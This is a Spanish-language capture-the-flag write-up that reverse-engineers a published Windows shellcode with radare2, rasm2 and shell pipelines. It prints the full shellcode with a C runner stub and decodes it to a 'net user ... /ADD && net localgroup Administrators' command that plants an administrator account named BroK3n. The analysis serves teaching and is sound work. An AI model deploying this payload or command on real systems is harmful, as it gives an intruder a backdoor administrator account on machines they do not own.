Otro Capture The Flag como todos en el mundillo conocemos o "Reto de Ciberseguridad"  de esta serie de CTF con el Nivel 4 al que hemos llamado "Shellcode", nos hemos roto la cabeza pensando ;) .

El reto consiste en ver que hace exactamente este Shelcode:

"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

Resolución CTF - Nivel 4 : Shellcode                                                                                                                              

El reto es decir exactamente qué hace la shellcode que aparece aquí:

`Add Admin User Shellcode (194 bytes) - Any Windows Version

Title: Add Admin User Shellcode (194 bytes) - Any Windows Version
Release date: 21/06/2014
Author: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
Size: 194 byte (NULL free)
Tested on: Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
Username: BroK3n
Password: BroK3n

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";

int main(int argc, char **argv){int (f)();f = (int ()())shellcode;(int)(*f)();}
`

Por el título, vemos que se trata de “Add Admin User Shellcode” con usuario BroK3n y contraseña BroK3n.

Pero hay que estar seguros. Abriremos radare2 y escribiremos la shellcode quitándole “\x” y dejándolo todo en una línea.

Utilizaremos la shell para conseguirlo.

image001-1

Como veis, no abrimos radare2 con un fichero, si no sabéis las opciones, la ayuda suele venir bien.

`$ radare2 -h
Usage: r2 [-ACdfLMnNqStuvwz] [-P patch] [-p prj] [-a arch] [-b bits] [-i file]
[-s addr] [-B baddr] [-M maddr] [-c cmd] [-e k=v] file|pid|-|--|=
-- open radare2 on an empty file

  •        equivalent of 'r2 malloc://512'
    

= read file from stdin (use -i and -c to run cmds) -= perform !=! command to run all commands remotely -0 print \x00 after init and every command -a [arch] set asm.arch -A run 'aaa' command to analyze all referenced code -b [bits] set asm.bits -B [baddr] set base address for PIE binaries -c 'cmd..' execute radare command -C file is host:port (alias for -c+=http ://%s/cmd/) -d debug the executable 'file' or running process 'pid' -D [backend] enable debug mode (e cfg.debug=true) -e k=v evaluate config var -f block size = file size -F [binplug] force to use that rbin plugin -h, -hh show help message, -hh for long -H ([var]) display variable -i [file] run script file -I [file] run script file before the file is opened -k [k=v] perform sdb query into core->sdb -l [lib] load plugin file -L list supported IO plugins -m [addr] map file at given address (loadaddr) -M do not demangle symbol names -n, -nn do not load RBin info (-nn only load bin structures) -N do not load user settings and scripts -o [OS/kern] set asm.os (linux, macos, w32, netbsd, ...) -q quiet mode (no prompt) and quit after -i -p [prj] use project, list if no arg, load if no file -P [file] apply rapatch file and quit -R [rarun2] specify rarun2 profile to load (same as -e dbg.profile=X) -s [addr] initial seek -S start r2 in sandbox mode -t load rabin2 info in thread -u set bin.filter=false to get raw sym/sec/cls names -v, -V show radare2 version (-V show lib versions) -w open file in write mode -z, -zz do not load strings or load them even in raw

Escribimos la shellcode con wx seguida de ella, en una línea. Y analizamos “aaa”.

image002-1

Imprimimos por pantalla el resultado del desensamblado. A simple vista no vermos el contenido de las strings debido a que hay que forzarlo. ¿Donde están? En los push.

Para ello, utilizaremos “ahi s @ offset”.

image003-1

Si necesitais ver la ayuda, con poner un interrogando después del carácter asociado al comando...

Ahora “ah?”.

image004-1

Seguimos mostrando ayuda:

image005-1

Lo que estoy haciendo es que analice el contenido que hay en el offset que sea de una forma “mejor” que el análisis que hizo al principio con “aaa”.

image006-1

De esta forma veremos como ese contenido en los push cambia de:

image007-1

A esto otro, que ya es legible.

image008-1

Quedando de esta manera:

image009-1

Ahora podemos copiar ese contenido en un fichero y jugar.

image010-1

No hay nada como la shell para esto:

$ cat push.txt | 0x0000004e 684b336e01 push '\x01n3K' | 0x00000053 682042726f push 'orB ' | 0x00000058 682f414444 push 'DDA/' | 0x0000005d 686f727320 push ' sro' | 0x00000062 6874726174 push 'tart' | 0x00000067 68696e6973 push 'sini' | 0x0000006c 682041646d push 'mdA ' | 0x00000071 68726f7570 push 'puor' | 0x00000076 6863616c67 push 'glac' | 0x0000007b 6874206c6f push 'ol t' | 0x00000080 6826206e65 push 'en &' | 0x00000085 6844442026 push '& DD' | 0x0000008a 686e202f41 push 'A/ n' | 0x0000008f 68726f4b33 push 0x334b6f72 | 0x00000094 68336e2042 push 'B n3' | 0x00000099 6842726f4b push 'KorB' | 0x0000009e 6873657220 push ' res' | 0x000000a3 6865742075 push 'u te' | 0x000000a8 682f63206e push 'n c/' | 0x000000ad 6865786520 push ' exe' | 0x000000b2 68636d642e push '.dmc'

$ awk -F\' '{print $2}' push.txt | tr -d '\n' | perl -ne 'chomp;print scalar reverse . "\n";' cmd.exe /c net user BroK3n Bn /ADD && net localgroup Administrators /ADD BroK3n10x\

Por lo tanto, ya tenemos la respuesta al reto. La shellcode hace lo que vemos, crea un usuario BroK3n y lo añade al grupo de administradores.

Hay más formas de resolverlo.

Por ejemplo: https://www.percederberg.net/tools/text_converter.html

image011-1

Sólo habría que tratar la salida de la cadena que se ve...

La idea para este reto me la dio este artículo:

Si leeis el artículo veréis como aparece un comando, portado a nuestro código, sería:

$ cat shellcode.txt | awk -F\" '{print $2}' | sed 's/\\\x//g' | tr -d '\n' | rasm2 -d - xor edx, edx mov dl, 0x30 mov edx, dword fs:[edx] mov edx, dword [edx + 0xc] mov edx, dword [edx + 0x1c] mov eax, dword [edx + 8] mov esi, dword [edx + 0x20] mov edx, dword [edx] cmp byte [esi + 0xc], 0x33 jne 0xd mov edi, eax add edi, dword [eax + 0x3c] mov edx, dword [edi + 0x78] add edx, eax mov edi, dword [edx + 0x20] add edi, eax xor ebp, ebp mov esi, dword [edi + ebp*4] add esi, eax inc ebp cmp dword [esi], 0x456e6957 jne 0x2c mov edi, dword [edx + 0x24] add edi, eax mov bp, word [edi + ebp*2] mov edi, dword [edx + 0x1c] add edi, eax mov edi, dword [edi + ebp*4 - 4] add edi, eax push 0x16e334b push 0x6f724220 push 0x4444412f push 0x2073726f push 0x74617274 push 0x73696e69 push 0x6d644120 push 0x70756f72 push 0x676c6163 invalid je 0x9e insb byte es:[edi], dx outsd dx, dword [esi] push 0x656e2026 push 0x26204444 push 0x412f206e push 0x334b6f72 push 0x42206e33 push 0x4b6f7242 push 0x20726573 push 0x75207465 push 0x6e20632f push 0x20657865 push 0x2e646d63 mov ebp, esp dec byte [ebp + 0x53] xor eax, eax push eax push ebp call edi

Un texto recomendable, “Shellcoding in Linux”:

Espero que os haya gustado.